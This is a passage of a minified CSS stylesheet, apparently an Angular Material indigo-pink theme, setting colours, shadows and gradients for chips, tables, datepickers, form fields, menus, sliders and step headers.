.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#ff4081;color:#fff}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-table{background:white}.indigo-pink-theme .mat-table thead,.indigo-pink-theme .mat-table tbody,.indigo-pink-theme .mat-table tfoot,.indigo-pink-theme mat-header-row,.indigo-pink-theme mat-row,.indigo-pink-theme mat-footer-row,.indigo-pink-theme [mat-header-row],.indigo-pink-theme [mat-row],.indigo-pink-theme [mat-footer-row],.indigo-pink-theme .mat-table-sticky{background:inherit}.indigo-pink-theme mat-row,.indigo-pink-theme mat-header-row,.indigo-pink-theme mat-footer-row,.indigo-pink-theme th.mat-header-cell,.indigo-pink-theme td.mat-cell,.indigo-pink-theme td.mat-footer-cell{border-bottom-color:#0000001f}.indigo-pink-theme .mat-header-cell{color:#0000008a}.indigo-pink-theme .mat-cell,.indigo-pink-theme .mat-footer-cell{color:#000000de}.indigo-pink-theme .mat-calendar-arrow{fill:#0000008a}.indigo-pink-theme .mat-datepicker-toggle,.indigo-pink-theme .mat-datepicker-content .mat-calendar-next-button,.indigo-pink-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.indigo-pink-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.indigo-pink-theme .mat-calendar-table-header,.indigo-pink-theme .mat-calendar-body-label{color:#0000008a}.indigo-pink-theme .mat-calendar-body-cell-content,.indigo-pink-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.indigo-pink-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.indigo-pink-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.indigo-pink-theme .mat-calendar-body-in-preview{color:#0000003d}.indigo-pink-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.indigo-pink-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.indigo-pink-theme .mat-calendar-body-in-range:before{background:rgba(63,81,181,.2)}.indigo-pink-theme .mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.indigo-pink-theme .mat-calendar-body-comparison-bridge-start:before,.indigo-pink-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(63,81,181,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-calendar-body-comparison-bridge-end:before,.indigo-pink-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(63,81,181,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.indigo-pink-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.indigo-pink-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.indigo-pink-theme .mat-calendar-body-selected{background-color:#3f51b5;color:#fff}.indigo-pink-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#3f51b566}.indigo-pink-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.indigo-pink-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.indigo-pink-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#3f51b54d}@media (hover: hover){.indigo-pink-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#3f51b54d}}.indigo-pink-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(255,64,129,.2)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.indigo-pink-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(255,64,129,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.indigo-pink-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(255,64,129,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#ff4081;color:#fff}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#ff408166}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.indigo-pink-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.indigo-pink-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff40814d}@media (hover: hover){.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff40814d}}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.indigo-pink-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.indigo-pink-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.indigo-pink-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.indigo-pink-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.indigo-pink-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.indigo-pink-theme .mat-datepicker-toggle-active{color:#3f51b5}.indigo-pink-theme .mat-datepicker-toggle-active.mat-accent{color:#ff4081}.indigo-pink-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.indigo-pink-theme .mat-date-range-input-inner[disabled]{color:#00000061}.indigo-pink-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.indigo-pink-theme .mat-divider{border-top-color:#0000001f}.indigo-pink-theme .mat-divider-vertical{border-right-color:#0000001f}.indigo-pink-theme .mat-expansion-panel{background:white;color:#000000de}.indigo-pink-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-action-row{border-top-color:#0000001f}.indigo-pink-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.indigo-pink-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.indigo-pink-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.indigo-pink-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.indigo-pink-theme .mat-expansion-panel-header-title{color:#000000de}.indigo-pink-theme .mat-expansion-panel-header-description,.indigo-pink-theme .mat-expansion-indicator:after{color:#0000008a}.indigo-pink-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.indigo-pink-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.indigo-pink-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.indigo-pink-theme .mat-form-field-label,.indigo-pink-theme .mat-hint{color:#0009}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-label{color:#3f51b5}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#ff4081}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.indigo-pink-theme .mat-focused .mat-form-field-required-marker{color:#ff4081}.indigo-pink-theme .mat-form-field-ripple{background-color:#000000de}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#3f51b5}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#ff4081}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#3f51b5}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#ff4081}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.indigo-pink-theme .mat-error{color:#f44336}.indigo-pink-theme .mat-form-field-appearance-legacy .mat-form-field-label,.indigo-pink-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.indigo-pink-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.indigo-pink-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.indigo-pink-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.indigo-pink-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.indigo-pink-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.indigo-pink-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.indigo-pink-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.indigo-pink-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.indigo-pink-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.indigo-pink-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.indigo-pink-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.indigo-pink-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#3f51b5}.indigo-pink-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#ff4081}.indigo-pink-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.indigo-pink-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.indigo-pink-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.indigo-pink-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.indigo-pink-theme .mat-icon.mat-primary{color:#3f51b5}.indigo-pink-theme .mat-icon.mat-accent{color:#ff4081}.indigo-pink-theme .mat-icon.mat-warn{color:#f44336}.indigo-pink-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.indigo-pink-theme .mat-input-element:disabled,.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.indigo-pink-theme .mat-input-element{caret-color:#3f51b5}.indigo-pink-theme .mat-input-element::placeholder{color:#0000006b}.indigo-pink-theme .mat-input-element::-moz-placeholder{color:#0000006b}.indigo-pink-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.indigo-pink-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.indigo-pink-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#ff4081}.indigo-pink-theme .mat-form-field.mat-warn .mat-input-element,.indigo-pink-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.indigo-pink-theme .mat-list-base .mat-list-item,.indigo-pink-theme .mat-list-base .mat-list-option{color:#000000de}.indigo-pink-theme .mat-list-base .mat-subheader{color:#0000008a}.indigo-pink-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.indigo-pink-theme .mat-list-option:hover,.indigo-pink-theme .mat-list-option:focus,.indigo-pink-theme .mat-nav-list .mat-list-item:hover,.indigo-pink-theme .mat-nav-list .mat-list-item:focus,.indigo-pink-theme .mat-action-list .mat-list-item:hover,.indigo-pink-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-list-single-selected-option,.indigo-pink-theme .mat-list-single-selected-option:hover,.indigo-pink-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.indigo-pink-theme .mat-menu-panel{background:white}.indigo-pink-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-menu-item{background:transparent;color:#000000de}.indigo-pink-theme .mat-menu-item[disabled],.indigo-pink-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.indigo-pink-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.indigo-pink-theme .mat-menu-item .mat-icon-no-color,.indigo-pink-theme .mat-menu-submenu-icon{color:#0000008a}.indigo-pink-theme .mat-menu-item:hover:not([disabled]),.indigo-pink-theme .mat-menu-item.cdk-program-focused:not([disabled]),.indigo-pink-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.indigo-pink-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-paginator{background:white}.indigo-pink-theme .mat-paginator,.indigo-pink-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.indigo-pink-theme .mat-paginator-decrement,.indigo-pink-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.indigo-pink-theme .mat-paginator-first,.indigo-pink-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-decrement,.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-increment,.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-first,.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.indigo-pink-theme .mat-progress-bar-background{fill:#cbd0e9}.indigo-pink-theme .mat-progress-bar-buffer{background-color:#cbd0e9}.indigo-pink-theme .mat-progress-bar-fill:after{background-color:#3f51b5}.indigo-pink-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#fbccdc}.indigo-pink-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#fbccdc}.indigo-pink-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#ff4081}.indigo-pink-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.indigo-pink-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.indigo-pink-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.indigo-pink-theme .mat-progress-spinner circle,.indigo-pink-theme .mat-spinner circle{stroke:#3f51b5}.indigo-pink-theme .mat-progress-spinner.mat-accent circle,.indigo-pink-theme .mat-spinner.mat-accent circle{stroke:#ff4081}.indigo-pink-theme .mat-progress-spinner.mat-warn circle,.indigo-pink-theme .mat-spinner.mat-warn circle{stroke:#f44336}.indigo-pink-theme .mat-radio-outer-circle{border-color:#0000008a}.indigo-pink-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#3f51b5}.indigo-pink-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.indigo-pink-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.indigo-pink-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.indigo-pink-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#3f51b5}.indigo-pink-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#ff4081}.indigo-pink-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.indigo-pink-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.indigo-pink-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.indigo-pink-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#ff4081}.indigo-pink-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.indigo-pink-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.indigo-pink-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.indigo-pink-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.indigo-pink-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.indigo-pink-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.indigo-pink-theme .mat-radio-button .mat-ripple-element{background-color:#000}.indigo-pink-theme .mat-select-value{color:#000000de}.indigo-pink-theme .mat-select-placeholder{color:#0000006b}.indigo-pink-theme .mat-select-disabled .mat-select-value{color:#00000061}.indigo-pink-theme .mat-select-arrow{color:#0000008a}.indigo-pink-theme .mat-select-panel{background:white}.indigo-pink-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.indigo-pink-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#3f51b5}.indigo-pink-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#ff4081}.indigo-pink-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.indigo-pink-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.indigo-pink-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.indigo-pink-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.indigo-pink-theme .mat-drawer{background-color:#fff;color:#000000de}.indigo-pink-theme .mat-drawer.mat-drawer-push{background-color:#fff}.indigo-pink-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.indigo-pink-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.indigo-pink-theme .mat-drawer-side.mat-drawer-end,.indigo-pink-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.indigo-pink-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.indigo-pink-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.indigo-pink-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#ff4081}.indigo-pink-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#ff40818a}.indigo-pink-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#ff4081}.indigo-pink-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#3f51b5}.indigo-pink-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#3f51b58a}.indigo-pink-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#3f51b5}.indigo-pink-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.indigo-pink-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.indigo-pink-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.indigo-pink-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.indigo-pink-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.indigo-pink-theme .mat-slide-toggle-bar{background-color:#00000061}.indigo-pink-theme .mat-slider-track-background{background-color:#00000042}.indigo-pink-theme .mat-slider.mat-primary .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-primary .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#3f51b5}.indigo-pink-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.indigo-pink-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#3f51b533}.indigo-pink-theme .mat-slider.mat-accent .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-accent .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#ff4081}.indigo-pink-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.indigo-pink-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#ff408133}.indigo-pink-theme .mat-slider.mat-warn .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-warn .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.indigo-pink-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.indigo-pink-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.indigo-pink-theme .mat-slider:hover .mat-slider-track-background,.indigo-pink-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.indigo-pink-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.indigo-pink-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.indigo-pink-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.indigo-pink-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.indigo-pink-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.indigo-pink-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.indigo-pink-theme .mat-step-header.cdk-keyboard-focused,.indigo-pink-theme .mat-step-header.cdk-program-focused,.indigo-pink-theme .mat-step-header:hover:not([aria-disabled]),.indigo-pink-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.indigo-pink-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.indigo-pink-theme .mat-step-header:hover{background:none}}.indigo-pink-theme .mat-step-header .mat-step-label,.indigo-pink-theme .mat-step-header .mat-step-optional{color:#0000008a}.indigo-pink-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.indigo-pink-theme .mat-step-header .mat-step-icon-selected,.indigo-pink-theme .mat-step-header .mat-step-icon-state-done,.indigo-pink-theme .mat-step-header 